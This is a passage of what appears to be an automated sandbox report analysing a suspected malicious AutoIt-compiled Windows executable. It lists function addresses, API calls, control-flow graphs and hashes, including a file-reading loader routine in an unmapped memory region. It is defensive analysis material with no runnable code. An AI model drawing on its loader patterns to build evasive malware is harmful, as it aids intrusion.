                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3219444185-0
                                                                                                                                                  • Opcode ID: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                                                                                                  • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                                                                                  • Opcode Fuzzy Hash: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                                                                                                  • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                  Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                  • String ID: FILE
                                                                                                                                                  • API String ID: 3888824918-3121273764
                                                                                                                                                  • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                  • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                                                                  • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                  • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                  Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  APIs
                                                                                                                                                  • GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                  • RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                  • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                  • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                  • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                  • ImageList_ReplaceIcon.COMCTL32(008F0F10,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                  • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                  • API String ID: 2914291525-1005189915
                                                                                                                                                  • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                  • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                                                                  • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                                                                  • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                                                                                  Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  APIs
                                                                                                                                                  • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                  • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                  • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                  • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                  • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                  • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                    • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                    • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                    • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                                                                    • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                                                                    • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                                                                    • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                    • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(008F0F10,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                  • String ID: #$0$PGH
                                                                                                                                                  • API String ID: 423443420-3673556320
                                                                                                                                                  • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                  • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                  • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                  • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                  Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  APIs
                                                                                                                                                  • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                    • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                    • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                  • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                  • _malloc.LIBCMT ref: 00452689
                                                                                                                                                  • _malloc.LIBCMT ref: 00452696
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1911931848-0
                                                                                                                                                  • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                  • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                  • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                                                                                  • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                  Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1294 40f450-40f45c call 425210 1297 40f460-40f478 1294->1297 1297->1297 1298 40f47a-40f4a8 call 413990 call 410f70 1297->1298 1303 40f4b0-40f4d1 call 4151b0 1298->1303 1306 40f531 1303->1306 1307 40f4d3-40f4da 1303->1307 1310 40f536-40f540 1306->1310 1308 40f4dc-40f4de 1307->1308 1309 40f4fd-40f517 call 41557c 1307->1309 1311 40f4e0-40f4e2 1308->1311 1314 40f51c-40f51f 1309->1314 1313 40f4e6-40f4ed 1311->1313 1315 40f521-40f52c 1313->1315 1316 40f4ef-40f4f2 1313->1316 1314->1303 1319 40f543-40f54e 1315->1319 1320 40f52e-40f52f 1315->1320 1317 42937a-4293a0 call 41557c call 4151b0 1316->1317 1318 40f4f8-40f4fb 1316->1318 1331 4293a5-4293c3 call 4151d0 1317->1331 1318->1309 1318->1311 1321 40f550-40f553 1319->1321 1322 40f555-40f560 1319->1322 1320->1316 1321->1316 1324 429372 1322->1324 1325 40f566-40f571 1322->1325 1324->1317 1327 429361-429367 1325->1327 1328 40f577-40f57a 1325->1328 1327->1313 1330 42936d 1327->1330 1328->1316 1330->1324 1331->1310
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __fread_nolock_fseek_strcat
                                                                                                                                                  • String ID: AU3!$EA06
                                                                                                                                                  • API String ID: 3818483258-2658333250
                                                                                                                                                  • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                  • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                                                                                  • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                                                                                  • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                                                                                  Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1334 410130-410142 SHGetMalloc 1335 410148-410158 SHGetDesktopFolder 1334->1335 1336 42944f-429459 call 411691 1334->1336 1337 4101d1-4101e0 1335->1337 1338 41015a-410188 call 411691 1335->1338 1337->1336 1344 4101e6-4101ee 1337->1344 1346 4101c5-4101ce 1338->1346 1347 41018a-4101a1 SHGetPathFromIDListW 1338->1347 1346->1337 1348 4101a3-4101b1 call 411691 1347->1348 1349 4101b4-4101c0 1347->1349 1348->1349 1349->1346
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                  • String ID: C:\Users\user\Desktop\UNGSno5k4G.exe
                                                                                                                                                  • API String ID: 192938534-1783130589
                                                                                                                                                  • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                  • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                  • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                  • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                  Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1352 401230-40123b 1353 401241-401272 call 4131f0 call 401be0 1352->1353 1354 4012c5-4012cd 1352->1354 1359 401274-401292 1353->1359 1360 4012ae-4012bf KillTimer SetTimer 1353->1360 1361 42aa61-42aa67 1359->1361 1362 401298-40129c 1359->1362 1360->1354 1363 42aa8b-42aaa7 Shell_NotifyIconW 1361->1363 1364 42aa69-42aa86 Shell_NotifyIconW 1361->1364 1365 4012a2-4012a8 1362->1365 1366 42aaac-42aab3 1362->1366 1363->1360 1364->1360 1365->1360 1369 42aaf8-42ab15 Shell_NotifyIconW 1365->1369 1367 42aad7-42aaf3 Shell_NotifyIconW 1366->1367 1368 42aab5-42aad2 Shell_NotifyIconW 1366->1368 1367->1360 1368->1360 1369->1360
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00401257
                                                                                                                                                    • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                                                                    • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                    • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                    • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                  • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                  • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                  • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                  • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                  • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1792922140-0
                                                                                                                                                  • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                  • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                                                                  • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                  • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                  Function 040B9AD8 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1370 40b9ad8-40b9b86 call 40b74c8 1373 40b9b8d-40b9bb3 call 40ba9e8 CreateFileW 1370->1373 1376 40b9bba-40b9bca 1373->1376 1377 40b9bb5 1373->1377 1384 40b9bcc 1376->1384 1385 40b9bd1-40b9beb VirtualAlloc 1376->1385 1378 40b9d05-40b9d09 1377->1378 1379 40b9d4b-40b9d4e 1378->1379 1380 40b9d0b-40b9d0f 1378->1380 1386 40b9d51-40b9d58 1379->1386 1382 40b9d1b-40b9d1f 1380->1382 1383 40b9d11-40b9d14 1380->1383 1387 40b9d2f-40b9d33 1382->1387 1388 40b9d21-40b9d2b 1382->1388 1383->1382 1384->1378 1389 40b9bed 1385->1389 1390 40b9bf2-40b9c09 ReadFile 1385->1390 1391 40b9d5a-40b9d65 1386->1391 1392 40b9dad-40b9dc2 1386->1392 1397 40b9d43 1387->1397 1398 40b9d35-40b9d3f 1387->1398 1388->1387 1389->1378 1399 40b9c0b 1390->1399 1400 40b9c10-40b9c50 VirtualAlloc 1390->1400 1393 40b9d69-40b9d75 1391->1393 1394 40b9d67 1391->1394 1395 40b9dd2-40b9dda 1392->1395 1396 40b9dc4-40b9dcf VirtualFree 1392->1396 1401 40b9d89-40b9d95 1393->1401 1402 40b9d77-40b9d87 1393->1402 1394->1392 1396->1395 1397->1379 1398->1397 1399->1378 1403 40b9c52 1400->1403 1404 40b9c57-40b9c72 call 40bac38 1400->1404 1407 40b9da2-40b9da8 1401->1407 1408 40b9d97-40b9da0 1401->1408 1406 40b9dab 1402->1406 1403->1378 1410 40b9c7d-40b9c87 1404->1410 1406->1386 1407->1406 1408->1406 1411 40b9cba-40b9cce call 40baa48 1410->1411 1412 40b9c89-40b9cb8 call 40bac38 1410->1412 1418 40b9cd2-40b9cd6 1411->1418 1419 40b9cd0 1411->1419 1412->1410 1420 40b9cd8-40b9cdc CloseHandle 1418->1420 1421 40b9ce2-40b9ce6 1418->1421 1419->1378 1420->1421 1422 40b9ce8-40b9cf3 VirtualFree 1421->1422 1423 40b9cf6-40b9cff 1421->1423 1422->1423 1423->1373 1423->1378
                                                                                                                                                  APIs
                                                                                                                                                  • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 040B9BA9
                                                                                                                                                  • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 040B9DCF
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateFileFreeVirtual
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 204039940-0
                                                                                                                                                  • Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
                                                                                                                                                  • Instruction ID: 0dc2abfbe2b6c29ac4ee90031779139276d5e19fdef38138d2333cbd9ff96142
                                                                                                                                                  • Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
                                                                                                                                                  • Instruction Fuzzy Hash: 28A12AB0E00208EBDB14CFA5C994BEEB7B5FF48304F208159E645BB280D775AA41CF99
                                                                                                                                                  Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1424 414f10-414f2c 1425 414f4f 1424->1425 1426 414f2e-414f31 1424->1426 1428 414f51-414f55 1425->1428 1426->1425 1427 414f33-414f35 1426->1427 1429 414f37-414f46 call 417f23 1427->1429 1430 414f56-414f5b 1427->1430 1442 414f47-414f4c call 417ebb 1429->1442 1432 414f6a-414f6d 1430->1432 1433 414f5d-414f68 1430->1433 1436 414f7a-414f7c 1432->1436 1437 414f6f-414f77 call 4131f0 1432->1437 1433->1432 1435 414f8b-414f9e 1433->1435 1440 414fa0-414fa6 1435->1440 1441 414fa8 1435->1441 1436->1429 1439 414f7e-414f89 1436->1439 1437->1436 1439->1429 1439->1435 1444 414faf-414fb1 1440->1444 1441->1444 1442->1425 1446 4150a1-4150a4 1444->1446 1447 414fb7-414fbe 1444->1447 1446->1428 1449 414fc0-414fc5 1447->1449 1450 415004-415007 1447->1450 1449->1450 1453 414fc7 1449->1453 1451 415071-415072 call 41e6b1 1450->1451 1452 415009-41500d 1450->1452 1459 415077-41507b 1451->1459 1455 41500f-415018 1452->1455 1456 41502e-415035 1452->1456 1457 415102 1453->1457 1458 414fcd-414fd1 1453->1458 1460 415023-415028 1455->1460 1461 41501a-415021 1455->1461 1463 415037 1456->1463 1464 415039-41503c 1456->1464 1462 415106-41510f 1457->1462 1465 414fd3 1458->1465 1466 414fd5-414fd8 1458->1466 1459->1462 1467 415081-415085 1459->1467 1468 41502a-41502c 1460->1468 1461->1468 1462->1428 1463->1464 1469 415042-41504e call 41453a call 41ed9e 1464->1469 1470 4150d5-4150d9 1464->1470 1465->1466 1471 4150a9-4150af 1466->1471 1472 414fde-414fff call 41ee9b 1466->1472 1467->1470 1475 415087-415096 1467->1475 1468->1464 1492 415053-415058 1469->1492 1473 4150eb-4150fd call 417f23 1470->1473 1474 4150db-4150e8 call 4131f0 1470->1474 1476 4150b1-4150bd call 4131f0 1471->1476 1477 4150c0-4150d0 call 417f23 1471->1477 1483 415099-41509b 1472->1483 1473->1442 1474->1473 1475->1483 1476->1477 1477->1442 1483->1446 1483->1447 1493 415114-415118 1492->1493 1494 41505e-415061 1492->1494 1493->1462 1494->1457 1495 415067-41506f 1494->1495 1495->1483
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3886058894-0
                                                                                                                                                  • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                  • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                  • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                  • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                  Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1496 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                  APIs
                                                                                                                                                  • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
